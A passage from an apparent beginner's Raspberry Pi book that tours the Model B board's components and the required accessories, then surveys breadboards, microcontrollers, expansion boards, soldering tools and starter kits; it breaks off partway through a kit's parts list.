By the time you finish this chapter, you won’t be intimidated by the raw Raspberry Pi anymore. At the
least, your decision to purchase an aftermarket case for the thing will be driven by practical concerns
rather than any other reason.
Shall we begin?
Understanding Pi Hardware Terminology
Both Model A and Model B of the Raspberry Pi are what are called printed circuit boards, or PCBs.
A PCB is a laminate sheet that provides a connection platform for one or more electrical circuits.
A PCB ordinarily consists of some or all the following components, all of which are surface-mounted
to the board:
Traces: These are the tiny copper wires that are embedded into the PCB substrate and that
form the backbone of the circuit(s).
Vias (pronounced VEE-ahs): These are small metal rings that serve as an interconnect for
boards that have multiple layers of traces.
Resistors: These are components that resist the flow of electrical current. Resistors are
labeled RX on the PCB, with X denoting a discrete number identifying a specific capacitor.
Capacitors: These are components that temporarily store electrical charge. Capacitors are
labeled CX on the PCB.
Diodes: These are components that force electrical current to flow in a particular direction.
Diodes are labeled DX on the PCB.
Transistors: These are three-terminal components that act as electrically controlled switches.
Integrated Circuits (ICs): These are self-contained modules that run a circuit of their own in
addition to interacting with circuits on the PCB. The Broadcom SoC is itself an integrated
circuit module.
Take a look at Figure 2.1, which shows the back (bottom) side of Model B.
FIGURE 2.1 The back side of the Raspberry Pi Model B board.
That’s quite a web of traces and solder joints, wouldn’t you agree?
Recall from Chapter 1, “What Is the Raspberry Pi,” that the heart and soul of the Pi is the system on a
chip (SoC, pronounced sock) called the Broadcom BCM2835. Actually, the SoC is an IC that is
sandwiched between the PCB (below) and the RAM memory chip (above). You can see the
SoC/RAM chip duo in the dead center of the Raspberry Pi PCB; see Figure 2.2 for details.
FIGURE 2.2 The front side of the Raspberry Pi Model B board.
1. DSI video
2. GPIO
3. CPU/GPU/RAM
4. RCA video
5. Stereo audio
6. Status LEDs
7. USB
8. Ethernet
9. Camera
10. USB/Ethernet controller
11. HDMI
12. Voltage regulator
13. Power Micro USB
The Foundation decided to stack the memory IC on top of the Broadcom SoC to save space on the
board. That it does, I must say.
The processor is the mathematical muscle of any computer system. The Pi features an ARM11
processor that runs at a base speed of 700 megahertz (MHz). This means that the Pi (at least in theory)
can execute 700 million instructions per second, although some instructions require a couple clock
cycles.
Specifically, the ARM chip employs an instruction set called ARMv6. Some advanced hardware
geeks complain that the Pi’s processor does not support the ARMv7 architecture that is featured in
other ARM-equipped mobile devices such as the BeagleBone, but in my opinion, it has all the
computing power needed for general-purpose enthusiasts.
Ultimately, the fact remains that the main day-to-day difference between ARMv6 and ARMv7 is that
the latter is faster even at the same processor clock speed. We are also faced with the fact that the
Raspberry Pi is somewhat more limited in the software that it runs due to the ARM version.
The ARM processor is used most widely in mobile devices; it is actually sort of novel for a personal
computer such as the Raspberry Pi to run this chip. Unfortunately, the ARM architecture means that
the Pi cannot run Windows or Mac programs (that is, on those systems that operate on the Intel/AMD
32- and 64-bit processor platforms).
Another point to consider about the Broadcom BCM2835 is that the SoC delivers not only the ARM
central processing core, but also the onboard video processor—remember that SoC stands for system
on a chip. As it happens, the BCM2835 includes the VideoCore IV GPU (pronounced gee-pee-you),
which stands for graphics processing unit.
So, in other words, the SoC contains two “brains”—the main ARM processor for general-purpose
number crunching and the VideoCore IV GPU for video graphics display. What’s especially cool
about the VideoCore IV is that it can decode and play full 1080p high definition (HD) video by using
the vendor-neutral industry standard H.264 codec.
You learn in Chapter 18, “Raspberry Pi Overclocking,” how you can adjust the memory split between
system memory and graphics memory. Doing so optimizes the Pi for particular types of applications
and uses.
The Hidden Cost of Owning a Raspberry Pi
As you already know, your $25 or $35 gets you a Raspberry Pi PCB and nothing else. This comes as
a surprise to many people, so I want to give you all the prerequisites as early in the game as possible.
At the very least, you’ll need to purchase or otherwise obtain the following hardware to get started
with your Raspberry Pi:
Micro USB Power Supply
SD Card
Powered USB hub
Ethernet cable
Monitor
Video cable
Audio cable
USB keyboard and mouse
The keyboard, mouse, and monitor/cable are technically optional if you plan to run the Raspberry Pi
“headless” (headless Pi setup is covered in Chapter 7, “Networking Raspberry Pi”).
Now let’s explain each of these required hardware components in greater detail.
A 5V Power Supply
The Raspberry Pi expects an incoming electrical voltage of 5 volts (V) ±5% per the USB 2.0
standard. I mention the Universal Serial Bus (USB) here because power to the Pi is derived from a
USB-based power supply. From there the Pi’s electrical requirements depend on which board you
have:
Model B: 700 milliamps (mA) at 3.5 watts (W) or
Model A: 500 mA at 2.5 W
Note: A Real Power Saver
The dramatically less power that Model A requires represents the board’s chief
attraction among electronics enthusiasts. We can build super low-power projects with
Model A that would be nearly impossible to do with Model B. The reason for Model A’s
lighter power consumption footprint has to do principally with the absence of the SMSC
LAN9512 Ethernet controller, which pulls quite a bit of power on its own. On the other
hand, remember that if you plug a USB Wi-Fi dongle directly into the Pi, power
consumption goes up correspondingly.
The power port on the Raspberry Pi PCB is the Micro USB B-style interface; therefore, a Pi-
compatible power supply uses the standard USB A connector on one side and the Micro USB B
connector on the other side. I show you my own Raspberry Pi power supply in Figure 2.3.
FIGURE 2.3 A Raspberry Pi-compatible power supply on the left (Micro USB plug is labeled 1)
and a powered USB hub on the right (Standard USB plug is labeled 2).
It is crucial for you to understand that although the Raspberry Pi expects 5V of power incoming to the
board, the board internally operates at a much lower 3.3V. This power step-down is accomplished
automatically by virtue of the Pi’s on-board voltage regulator and C6 capacitor.
Not to get too geeky with the electronics (I’ll work up to that stuff gradually throughout this book), a
capacitor is an electronics component that stores an electrical charge temporarily. If you examine the
barrel-shaped object in Figure 2.2 just to the rear of the Micro USB interface, you’ll see the C6
capacitor. By the way, C6 refers to the PCB label for this component.
The C6 capacitor is really quite cool. It ensures that the incoming 5V is smooth and steady. If you
have a cheap power supply that dips or spikes every so often, the capacitor can step in and even out
the voltage flow. Pretty neat!
When the Pi’s circuitry has been expanded to, say, a microcontroller board or a breadboard, you need
to keep voltage regulation at the forefront of your mind to avoid overpowering the Pi and causing
irreversible damage.
In Chapter 4, “Installing and Configuring an Operating System,” I recommend that you
stick to known name brands when you choose a Secure Digital (SD) card for your Pi’s
operating system. You’ll want to follow this rule when choosing a power supply as well.
Some of my colleagues and friends have been burned by purchasing off-brand
“Raspberry Pi-compatible” power supplies from eBay or Craigslist vendors. The main
problem with cheap power supplies is that they don’t deliver a solid 5V of direct current
(DC) to the PCB. If the power supply delivers too much juice, the board can fry. If the
power supply doesn’t deliver enough power, the Pi will shut down at worst and operate
erratically at best.
The following are a few third-party vendors who do produce reliable Raspberry Pi-compatible
power supplies:
AdaFruit (http://is.gd/klOOWr)
ModMyPi (http://is.gd/Tme3iq)
SparkFun (http://is.gd/rs6UJx)
SD Card
The Secure Digital (SD) card is a solid-state removable storage device that is needed because the Pi
has no permanent, onboard data storage capability.
You learn how to flash Raspberry Pi firmware and a Linux operating system to the SD card in
Chapter 4. For now, however, just know when you start shopping that you are looking for the
following items:
A standard SD card. (The SD specification consists of the Standard, Mini, and Micro form
factors. You can use an adapter to convert a Mini or a Micro SD card into a Standard size.)
A brand name product, rather than cheaper, generic options. Some of the SD card brands I trust
include Kingston (http://is.gd/j9kb1O), Transcend (http://is.gd/Jwxe1N), and SanDisk
(http://is.gd/2NZw8b).
Capacity of at least 4 GB
Class 4 or higher
The speed class rating of an SD card is a relative indicator of how quickly the card can read and
write data. Do you remember the old CD burners with their 2x, 4x, 48x nomenclature? Same thing
here. A Class 2 spec exists, but I would stick with one of the following SD speed classes:
Class 4: 4MB/sec
Class 6: 6MB/sec
Class 10: 10MB/sec
You’ll find that opinions vary widely regarding which SD card brand(s) or speed(s) is optimal. My
best advice to you is to try out a few models and speed ratings with your equipment and let your own
intuition and Pi benchmark results be your guide.
Standard-sized SD cards come in two varieties: Secure Digital High Capacity (SDHC) and Secure
Digital eXtended Capacity (SDXC). The main difference is that SDHC cards go up to 32GB, and
SDXC cards go up to 2TB. If I were you, I would check the Raspberry Pi compatibility list at
http://is.gd/Ym6on0 before I shell out the money for a top-of-the-line, highest-capacity, speediest
card. Sometimes it is best to go for compatibility instead of potential performance.
Powered USB Hub
The Model B board includes two USB ports, but please don’t let that “security” lull you away from
the reality that you truly need to purchase a powered USB hub. Some Raspberry Pi newcomers use
the two USB ports for keyboard and mouse connections and then scratch their heads in wonderment
when they realize, “How the heck can I plug in something else to the Pi?”
A hub is a compact device that hosts several USB A-type devices. The “powered” part is important
inasmuch as USB hardware has in itself a current draw. Thus, we need to ensure that our USB hub
can supply not only the 700 mA required by the Pi board, but also any power requirements for USB-
attached peripherals.
Actually, that point bears repeating: Ensure that any power supply that you consider for your Pi
supplies at least (but hopefully more) than 700 mA. Non-self-powered USB peripherals will each
draw 100 mA or so from the USB ports on your Pi. To be sure, you should consider a powered USB
hub as a “must have” peripheral for your Pi.
Something else: The power supply and a powered USB hub are two separate pieces of hardware and
serve different purposes. The USB power supply gives power to the Raspberry Pi itself and allows it
to function. A powered USB hub enables you to expand the Pi’s functionality by adding more
hardware and giving power to those additional devices rather than to the Pi.
You can see what my own powered USB hub looks like by examining Figure 2.3.
Ethernet Cable
If you want to connect your Pi to the Internet (and why wouldn’t you want to do that?), you’ll need an
Internet connection and a Category 5e or 6 Ethernet cable. The Model B board includes an onboard
RJ-45 Ethernet jack, into which you plug your new cable. You plug the other end of the cable into a
free switch port on your wireless router, cable modem, or Internet connectivity device.
Note: Connectors and Ports
In physical computing, a port or jack is the connection interface on the computer. The
perimeter of the Raspberry Pi, for example, is lined with ports of different varieties.
A plug or connector is the part of a cable that plugs into a port. For instance, a
Category 6 Ethernet cable uses an RJ-45 connector to plug into the RJ-45 jack on the edge
of the Raspberry Pi Model B board.
“But what about Wi-Fi?” you ask. Wi-Fi and all other network-related questions are addressed in
Chapter 7. For now, understand that if you have a Model A board, your only option for traditional
wired Ethernet networking is to purchase a USB wired Ethernet adapter. Again, more on that subject
later on in the book.
The subject of Wi-Fi connectivity bears on what we just covered vis-a-vis USB ports and powered
USB hubs. That is to say, we must use a USB Wi-Fi dongle in order to give wireless Ethernet
connectivity to our Raspberry Pi device.
Monitor
Unless you plan to run your Raspberry Pi remotely in a so-called headless configuration, you need to
set aside a spare monitor or television for use with your Pi. Yes, you heard me correctly: You can
plug your Pi into any television, be it an older model (via an old-school yellow RCA plug) or a
modern HD display using the HDMI interface.
In fact, one of the Raspberry Pi Foundation’s goals in designing the Pi was to support “any old”
television set as a cheap display device. Remember that the Foundation’s philosophy is to make the
Raspberry Pi as inexpensive and easy as possible for people to get their hands on and to start
programming.
Note: Tiny Little Screens
Some Raspberry Pi enthusiasts translate the tiny footprint of the Pi board into the
monitor as well. To that point, you can purchase small (think GPS-sized) color monitors
from a number of online retailers. For instance, check out this adorable 7-inch diagonal
HDMI display from AdaFruit: http://is.gd/GJARAZ
Cables
Depending on what type of monitor or TV you have at your disposal, you might need to purchase an
analog RCA video cable or a digital HDMI cable. The good news is that these cables are almost
ubiquitous and are quite inexpensive.
As you learn in more detail momentarily, the use of an HDMI cable means that you don’t have to
worry about providing audio-out capability in your Pi with an analog audio cable. However, if you’re
using the RCA video cable and do need audio, you’ll need to buy a 3.5mm stereo audio cable as well.
Note: HDMI with Dedicated Audio
In case you were wondering, it is possible to configure the Raspberry Pi to use the
HDMI cable for video and the 3.5mm stereo audio cable for audio. To do so, you must
instruct the Pi to disable the HDMI audio channels by running the command sudo amixer
cset numid=3 1 from a Raspbian shell prompt. By the way, Raspbian is the official Linux
distribution of the Raspberry Pi; we’ll learn all about it beginning in Chapter 4.
USB Keyboard and Mouse
The good news is that the power draw for USB keyboards and mice is low enough that you can plug
them directly into the USB interfaces on the Model B board. The bad news is that you won’t have any
additional expandability for your Pi. Therefore, your best bet is either to invest in the previously
described powered USB hub or connect to your Pi remotely.
Figure 2.4 shows a Raspberry Pi all plugged in.
FIGURE 2.4 A Raspberry Pi, fully connected and ready to go!
Caution: Just in Case
As you can see in Figure 2.4, a “naked” Raspberry Pi, especially when it’s all cabled
up, is quite vulnerable to your physical environment; this includes electrostatic discharge
(ESD) as well as physical factors. For these reasons you should consider purchasing a case
for your Pi. You read about cases in more detail in Chapter 3, “A Tour of Raspberry Pi
Peripheral Devices.” Even with a case, however, you should take steps to avoid ESD when
interacting with the Pi hardware. You can do this by using an antistatic wrist strap
whenever you handle the bare Pi board.
A Tour of the Model B Board
Now, let’s commence our tour of the Model B board. The tour begins with the lower-right of the
board from the perspective in Figure 2.2.
Networking
The cube-shaped module on Model B is the onboard Registered Jack 45 (RJ-45) Ethernet interface.
As some of you might know, wired Ethernet is capable of running at data transmission speeds of 10,
100, and even 1000 megabits per second (Mbps).
However, because the Raspberry Pi Ethernet interface operates using the USB 2.0 standard, the jack
is limited to either 10 or 100 Mbps. As long as you purchase a Category 5e or 6 Ethernet cable and
your network already operates at 100 Mbps, the Pi should work at that speed with no problem at all.
Video and Audio
In my opinion, the preferred way to handle outgoing video and audio is to employ the Pi’s integrated
High Definition Multimedia Interface (HDMI) port. The number one reason is that HDMI carries
both video and audio signals. And number two, the signaling is entirely digital. HDMI is the way to
go if you plan to use your Raspberry Pi as a multimedia center because you have access to full HD
1920x1080 screen resolution.
The only possible downside to using HDMI is that only later-model computer monitors support the
interface. Many LCD monitors still in wide use only support DVI connectors. In this case, you still
have a couple options: First, you can plug your Pi into your HDMI-compatible television; second, you
can buy an HDMI-to-DVI-D converter plug and connect the Pi to your Digital Video Interface (DVI
D) -equipped computer monitor; this is shown in Figure 2.5. Of course, if you do this you lose the
ability to carry audio as well as video.
FIGURE 2.5 You can easily convert an HDMI connection to a DVI-D connection.
Note: VGA Need Not Apply
The 15-pin Video Graphics Array (VGA) port that is found in older monitors is
incompatible with the Raspberry Pi.
The yellow circular jack opposite to the HDMI port on the board is what is called the RCA connector
and forms the video feed portion of an old multimedia standard called composite video. Although this
plug allows you to connect your RasPi to ancient television sets, the signaling is analog, the video
capability is standard-definition only, and there is no signaling left over for audio.
Model B includes a third video interface just to the left of the Raspberry Pi logo called the Display
Serial Interface, or DSI. This display interface is used primarily for tablet or smartphone touch
screens (remember that the ARM architecture in general is slanted heavily toward the smartphone
market). As of spring 2013, little is published on how to make use of the DSI interface. Recall that we
don’t have full access to the VideoCore IV GPU, so we mere mortals cannot yet develop a kernel-
mode driver for this interface. Keep your eyes peeled online because I’m sure we’ll see development
in this area before too long.
As an alternative to HDMI audio, the Raspberry Pi includes a 3.5 mm stereo audio jack. This means
you can connect computer speakers or perhaps headphones to your Pi to receive analog audio from
the board.
Storage
Many Raspberry Pi newcomers are befuddled as to where to connect their SD cards to the board.
You’ll find that the SD card slot is a bare-bones port that is actually mounted underneath the PCB.
Thus, you line up the SD card on the interface rails and gently push the card until it is fully seated on
the interface pins.
Don’t worry that the SD card sticks out from the side of the Pi a little bit—that behavior is by design
to facilitate card removal. Actually, the fact that SD card pokes out from beneath the PCB is yet
another reason for you to invest in a Raspberry Pi case.
With respect to volatile (nonpermanent) storage, don’t forget about the 512MB random access
memory (RAM) chip that is stuck directly on top of the SoC at the center of the PCB. Recall also that
the Model A board includes a 256MB RAM chip.
Power/Status Information
The Micro USB power port intends to supply 5V of direct current (DC) to the board from your
external power supply. Recall, however, that the Raspberry Pi operates at an internal voltage of 3.3V.
The good news is that the Pi board includes an onboard voltage regulator (located behind the Micro
USB port in the location marked RG2), as well as the C2 capacitor to smooth out the voltage.
In one corner of the Model A or Model B board, next to the stereo audio jack, you’ll observe a bank
of light emitting diodes, or LEDs (see Figure 2.6). These LEDs light up to denote the following status
conditions:
ACT (Green): SD Card Access
PWR (Red): 3.3 V power present
FDX (Green): Full Duplex LAN connected
FDX (Green): Full Duplex LAN connected
LNK (Green): LAN link activity
100 (Yellow): 100Mbps LAN connected
FIGURE 2.6 LEDs give you at-a-glance status information from your Raspberry Pi. In this image,
notice the bank of LEDs in the lower right corner of the PCB.
Remember that you can tell at a glance whether you have a Revision 1 or Revision 2 board by
examining the label of the first LED. If the LED is labeled ACT, you have a Revision 2 board. If the
label reads OK, you have a Revision 1 board.
Camera
The Model B board includes a Mobile Industry Processor Interface (MIPI) Camera Serial Interface
(CSI) connector; the interface is located just behind the Ethernet port and connects to the Raspberry
Pi camera board that the Foundation released in May 2013.
The heart of the Raspberry Pi camera module is a 5 megapixel (MP) Omnivision OV5647 sensor that
shoots still images at a 2592x1944 pixel resolution and records 1080p/30 frames-per-second video.
The Foundation sells the camera board through its usual distribution partners for $25. The use of the
camera module is covered in great detail in Chapter 16, “Raspberry Pi Portable Webcam.”
Processing
As previously discussed, at the center of the Raspberry Pi Model B board is a two-layer integrated
circuit (IC) stack called a chipset. On top is a 512MB random access memory (RAM) module. At the
bottom is the Broadcom BCM 2835 SoC.
Remember that the SoC consists of two processor cores: a 700 MHz central processing unit (CPU)
that is used for general computing tasks and a VideoCore IV graphics processing unit (GPU) that is
used for, well, video generation.
Expansion
Okay—I’ve saved the best for last. On the same side of the board as the status LEDs but on the
opposite end is a bank of 26 copper header pins called the General Purpose Input/Output (GPIO)
interface.
The GPIO is critically important to the Raspberry Pi because these pins represent the way we can
expand the Pi board to interact with external hardware such as microcontrollers, motors, robotics—
you name it!
You learn the specific purpose of each GPIO pin—called, appropriately enough, the pinout—in
Chapter 19. In the meantime Figure 2.7 provides you with an illustration of how you can use the GPIO
header.
FIGURE 2.7 You can leverage the Pi’s GPIO pins (marked 1) to work with expansion boards
such as the Alamode (http://is.gd/6eMMnC). The Alamode is an Arduino clone that can broaden and
deepen the capabilities of the Raspberry Pi.
It seems the subject of Raspberry Pi cases has arisen several times in this chapter. I advise you to be
choosy when selecting a case for your Pi. Some cases look cool but actually can heat up your Pi
board due to insufficient venting. Moreover, I’ve seen some Pi cases that make it difficult or
impossible for you to access the GPIO pins with the case in place.
I have had good luck with Raspberry Pi cases purchased from Adafruit (http://is.gd/K1Ow9s), the Pi
Hut (http://is.gd/hR22tW), and ModMyPi (http://is.gd/xT8LTA).
Next Steps
I hope you are now more comfortable with the Raspberry Pi hardware. Now that you understand how
the Raspberry Pi board is set up, you probably want to know more about the extra hardware that can
be plugged into your Pi to expand its capabilities. To that point, let’s dive into a detailed
consideration of Raspberry Pi peripheral devices.
Chapter 3. A Tour of Raspberry Pi Peripheral Devices
I got my start learning about electricity and electronics not through school but by horsing around with
a Science Fair 160-in-1 electronics project kit my parents bought for me from Radio Shack for my
tenth birthday.
As you can see in Figure 3.1, this wooden-framed kit enabled kids like me to prototype electrical
circuits without having to solder any components together. The various “doo dads” on the kit’s circuit
board kept me engaged and entertained for many, many hours.
FIGURE 3.1 I learned electronics by studying (playing?) with this Radio Shack project kit.
Fast-forward to the twenty-first century—now we have the Raspberry Pi, a $35 personal computer
the size of a credit card! In this chapter, I’d like to pique your curiosity by sharing with you the most
popular peripheral devices—which is to say, electronic equipment that is connected to the Pi by
means of a cable instead of soldered directly to the board—that exist in today’s marketplace.
If you want to really dig into physical computing and circuit building, you will indeed need to take an
iron and braid in hand and learn to solder. I have you covered, though: You learn about all of the most
popular starter kits and technician tools at the end of this chapter.
Let’s begin!
Circuit Prototyping Equipment
In electronics, prototyping refers to mocking up an idea in a way that the circuit can easily be rebuilt.
To that end, the breadboard is by far one of the most useful tools you can have in your possession.
A breadboard is a plastic block that is perforated with small holes that are connected internally by
tin, bronze, or nickel alloy spring clips. Take a look at Figure 3.2 as a reference while I explain how
these devices work.
FIGURE 3.2 Anatomy and physiology of a breadboard. A terminal strip is labeled 1, the bridge
is labeled 2, and a bus strip is labeled 3.
First of all, see the empty area that runs down the center line of the breadboard? This region is called
the bridge. It’s a physical barrier that prevents current on one side from interacting with current on
the other side. Thus, the breadboard is bilaterally symmetric, which is a fancy way of saying it
consists of two mirror image halves that represent two separate circuits.
When you mount integrated circuit chips that use the dual inline package (DIP) format on a
breadboard, be careful to align the opposing sets of pins on opposite sides of the bridge to prevent
circuit overflow.
If you are wondering what a DIP looks like, whip out your Raspberry Pi board and look below the
GPIO header: the voltage regulators labeled RG1, RG2, and RG3 are DIPs.
The horizontally numbered rows of perforations represent the breadboard’s terminal strips. Any
wires that you connect in a single row share a single electrical circuit. Breadboards come in several
different sizes, and each has its own number of terminal strips.
For instance, full-sized breadboards typically include 56 to 65 connector rows, while smaller
breadboards normally have 30 rows.
Finally, there are the horizontally aligned perforations that line the outer edges of the breadboard.
These are called bus strips, and they constitute “power rails” for your prototype circuits. One
connector column represents supply voltage (positive), and the other represents ground (negative).
In sum, the breadboard is the perfect platform for prototyping electrical circuits because you don’t
need to solder anything. Instead, you can simply “plug and play” with ICs, resistors, lead wires,
buttons, and other components.
Of course, all of this background information on breadboarding suggests the question, “Why would I,
a Raspberry Pi owner, want to prototype anything?”
Great question! Here’s the deal: If you want to use your Raspberry Pi to interact with the outside
world, whether that interaction is controlling a robot, snapping pictures from 30,000 ft in the air, or
creating a solar-powered weather station, you’ll need to learn how to use prototyping hardware such
as breadboards, resistors, jumpers, and the like.
On the Raspberry Pi, the 26 General Purpose Input/Output (GPIO) pins are used to “break out” the Pi
onto a breadboard. You can do this by using two different types of cable:
Ribbon cable: This flat cable connects to all the GPIO pins simultaneously
Jumper wire: This wire connects a single GPIO pin to a terminal on the breadboard. Jumper
wires are also called straps, and you’ll use several of them when we use the Gertboard
expansion board in Chapter 20, “Raspberry Pi and the Gertboard.”
A ribbon cable and jumper wires are shown in Figure 3.3.
FIGURE 3.3 Ribbon cable at left and female-to-female jumper wires at right.
Breakout boards provide an excellent and convenient way to connect your Raspberry Pi to a
solderless breadboard. I recommend the Pi Cobbler kit, sold by Adafruit Industries
(http://is.gd/b4LlQ7).
As you can see in Figure 3.4, you mount the Pi Cobbler board across the breadboard bridge (do you
like my alliteration?). The ribbon cable connects from the Cobbler to the Pi’s GPIO header on the
other side of the connection.
FIGURE 3.4 The Pi Cobbler is a quick and easy way to expand your Raspberry Pi to a
breadboard.
Once you’ve broken out your Pi to the breadboard, you have the proverbial world available to you. In
point of fact, the latter part of this book walks you through some real-world projects that take
advantage of the Raspberry Pi-breadboard connection.
Single-Board Microcontrollers
Recall from our initial discussion in Chapter 1, “What is the Raspberry Pi?” that a microcontroller is
a PCB that is designed primarily for a small number of time-dependent tasks.
The big benefit of integrating your Raspberry Pi with a microcontroller is that you can connect to an
almost endless number of analog and digital sensors. This means you can write programs that detect
and take action on the following and more:
Light
Moisture
Sound/Volume
Contact
Motion
The Arduino platform (www.arduino.cc) is a suite of electronics prototyping PCBs that are dearly
loved by artists, designers, inventors, and hobbyists for their ease of use and flexibility.
Hobbyists have developed some pretty cool technology by using Arduino microcontrollers: motion
sensors, home automation systems, MIDI controllers, radon detectors...the list of project ideas is
seemingly endless.
The Raspberry Pi–Arduino heavenly match is discussed in Chapter 19, “Raspberry Pi and Arduino.”
For now, however, let’s go over the basic “gotchas” of this electronic marriage:
Connection options: To connect your Raspberry Pi to an Arduino board, you can either use a
USB cable or a I2C (pronounced eye-squared-see) serial link. You can see the Pi and Arduino
UNO lined up side-by-side in Figure 3.5.
FIGURE 3.5 You can connect an Arduino board directly to the Raspberry Pi by using USB,
serial, or GPIO connections.
Voltage differences: We already know from Chapter 2, “Hardware Components Quick Start,”
that the Raspberry Pi accepts 5V inbound power but operates at 3.3V internally. By contrast,
the Arduino operates externally and internally at 5V. Consequently, when joining Pi with
Arduino you need to invest in an external voltage regulation solution to avoid burning up your
Pi.
Administration: Recall that the lack of an operating system is one of the defining
characteristics of a single-board microcontroller. Therefore, in an Arduino/Raspberry Pi
nexus, all your Arduino programming happens on the Pi, and you upload your Arduino
“sketches” to that hardware over the serial or USB connection.
Note: But Wait, There’s More!
Perhaps the most elegant way to connect your Arduino board to your Raspberry Pi is to
purchase the Alamode shield (http://is.gd/4H3aWv). The Alamode is an Arduino device
that connects directly to the Pi’s GPIO header and provides a real-time clock, seamless
connectivity to the Arduino microcontroller application programming interface (API), and
voltage regulation to the Pi. It’s a great deal!
Please note that despite its overwhelming popularity, the Arduino is not the only single-board
microcontroller game in town. Here’s a quick list of single-board microcontroller vendors that you
might find useful:
Texas Instruments MSP430 LaunchPad (http://is.gd/xbAjcO)
Teensy (http://is.gd/rlEIxy)
STM32 (http://is.gd/TscRtp)
Pinguino (http://is.gd/rdEpF5)
The Gertboard
What the heck is a Gertboard, you ask? Gert van Loo is a computer electronics engineer who was the
chief architect of the Raspberry Pi PCB. Gert designed the Gertboard as a Raspberry Pi expansion
board, or daughterboard, that makes it easy to detect and respond to physical (analog) events such as
voltage changes, motor state changes, and the like.
Note: What’s a Daughterboard?
A daughterboard is a printed circuit board that is intended to extend the functionality of
mainboard. In this context, the Raspberry Pi is the mainboard, and the Gertboard is the
daughterboard. In full-sized PCs, daughterboards, which are also called mezzanine boards
or piggyback boards, are often used to enable expansion cards to mount on their side,
parallel to the motherboard, in the name of making the PC’s form factor as slim as possible.
Question: Do you think the world needs a brotherboard? How about a second-cousin-
twice-removedboard?
The Gertboard is awesome because it saves you the work of building circuits with a breadboard. The
Gertboard PCB is literally covered with useful electrical components like the following:
Tactile buttons
LEDs
Motor controllers
Digital-to-analog and analog-to-digital converters
The Gertboard and the Pi connect together directly by means of (what else?) the Pi’s GPIO header.
Figure 3.6 shows you a close-up of the amazing Gertboard.
FIGURE 3.6 The Gertboard provides a truly seamless expansion experience for the Raspberry
Pi.
Just wait—you get to use the Gertboard in Chapter 20.
Single-Board Computers
The BeagleBone (http://is.gd/A5m89F) is perhaps the Raspberry Pi’s chief competitor in the single-
board computer market. The BeagleBone is, like the Raspberry Pi, an ARM-based, credit card-sized
Linux computer.
The BeagleBone is actually the smaller sibling of the BeagleBoard. Both boards are manufactured by
the legendary Texas Instruments (TI), which lends immediate credibility to the Beagle projects.
Serious gearheads prefer the BeagleBone because its ARM Cortex A8 processor (running at 720
MHz) supports the ARMv7 instruction set, as opposed to the ARMv6 set included with the Pi.
Because of its support for ARMv7, the BeagleBone’s benchmark performance is much better than that
of the ARMv6-equipped Raspberry Pi. You also have a wider range of Linux distributions to choose
from with ARMv7-compatible devices such as the ‘Bone.
The BeagleBone and the Raspberry Pi aren’t exactly “finger in glove” partners like the Arduino and
Pi. Really, they are competitors in the same or highly similar market space. Table 3.1 compares and
contrasts the technical specifications for both systems.
TABLE 3.1 Comparison Between the Raspberry Pi Model B and the BeagleBone
Here’s a noncomprehensive list of other single-board computer manufacturers:
Cotton Candy (http://is.gd/quXmJu)
CuBox (http://is.gd/B6hvsZ)
Gumstix (http://is.gd/29EJ4A)
PandaBoard (http://is.gd/5of9yx)
“Why is it important that I understand the Raspberry Pi’s competition?” you might ask. In my
estimation, it is important for you to know that there exist alternatives to the Raspberry Pi. You may
find, for example, that the Pi is the best fit for the types of learning goals and projects that you have in
mind. By contrast, you may also save yourself time, money, and frustration by concluding at the outset
that you should consider an Arduino or a BeagleBone rather than a Pi.
Relevant Technician Tools
To perform all aspects of physical computing with your Raspberry Pi, you’ll need a few electrical
tools. Chief among these is the digital multimeter, an instrument with which you can measure
electrical current, voltage, and resistance.
For instance, you can run a quick verification of the Raspberry Pi’s 5V power supply voltage by using
a multimeter and the TP1 and TP2 test points on the Model B board.
To locate the TP1 and TP2 test points, take a closer look at Figure 2.2. You’ll see TP1 located just
above and to the right of the C2 capacitor and TP2 just to the left of the RCA video output (assuming
you are looking at the PCB with the Raspberry Pi logo facing up).
Task: Check Raspberry Pi Voltage with a Multimeter
1. Turn on your multimeter and set the dial to a low voltage threshold (for instance, 20V is
good). If you own an autoranging multimeter, you don’t need to worry about this step.
2. Disconnect all peripherals (including the SD card) from your Pi except for the Micro
USB power supply cable.
3. Power up your Pi.
4. Place the hot (red) lead to the TP1 test point, and place the ground (black) lead to the
TP2 test point. You want to connect the leads simultaneously.
5. Verify that the multimeter shows a net voltage of approximately 5V (see Figure 3.7).
FIGURE 3.7 You can use a multimeter and two PCB test points to quickly verify Raspberry
Pi voltage.
You’ll also need a soldering iron, which is a tool you use to permanently join electrical components
and to extend circuits.
The very idea of soldering intimidates some people, but the kernel idea at play is really quite simple.
You heat up the soldering iron to 700 degrees Fahrenheit or so and then melt solder into a junction
between two other conductive components. When the solder dries, you have a permanent connection
that allows electrical current to flow between the soldered components.
In a nutshell, solder is a fusible metal alloy that, as a conductor, can transmit electricity.
For Raspberry Pi projects, I recommend you get an adjustable 30W pen-style soldering iron for
maximum flexibility. You also should purchase a spool of 60/40 lead rosin-core solder with a 0.031-
inch diameter. The 60/40 means that the solder consists of 60 percent tin and 40 percent lead.
To make your soldering experience as user-friendly as possible, you might also want to look into the
following relevant soldering accessories:
Solder sucker: This vacuum tool makes short work of removing melted solder particles.
Solder wick: This material, also called desoldering braid, is used in conjunction with the
solder sucker to remove solder from your components.
Soldering stand: We have only two hands, and if you are operating the iron with one hand and
the solder wire with the other, then how the heck can you position your components to be
soldered? Because using The Force isn’t an option (probably), a soldering stand makes this
easy.
Raspberry Pi Starter Kits
With so many hardware options available to Raspberry Pi enthusiasts, figuring out where to start can
seem overwhelming to even experienced tech junkies.
For the befuddled (among whose number I once counted myself a member), several third-party
vendors assemble so-called Raspberry Pi starter kits that include everything you need to start
building Raspberry Pi-based projects. Heck, most of the kits even include a Model B board! This
section lists a few such kits.
The Adafruit Raspberry Pi Starter Pack (http://is.gd/cf3pIy) lists for $104.95. Besides the Model B,
you also get the following components for your money:
Adafruit clear acrylic Pi box
3′ long Micro USB cable
5V 1A power adapter
USB TTL console cable
4GB SD card
Assembled Adafruit Pi Cobbler kit with GPIO cable
USB microSD card reader
Large, full-size breadboard
Breadboarding wires
10′ long Ethernet cable
Embroidered Raspberry Pi badge
5 x 10K ohm resistors
5 x 560 ohm resistors
1 Red 10mm diffused LED
1 Green 10mm diffused LED
1 Blue 10mm diffused LED
3 tactile pushbuttons
Light-sensitive resistor photocell
1 x 1uF capacitor
The Maker Shed Raspberry Pi Starter Kit (http://is.gd/YIWK7Z) costs $129.99 and also includes a
Model B board. In addition, the pack includes the following:
Adafruit Pi Cobbler Breakout Kit
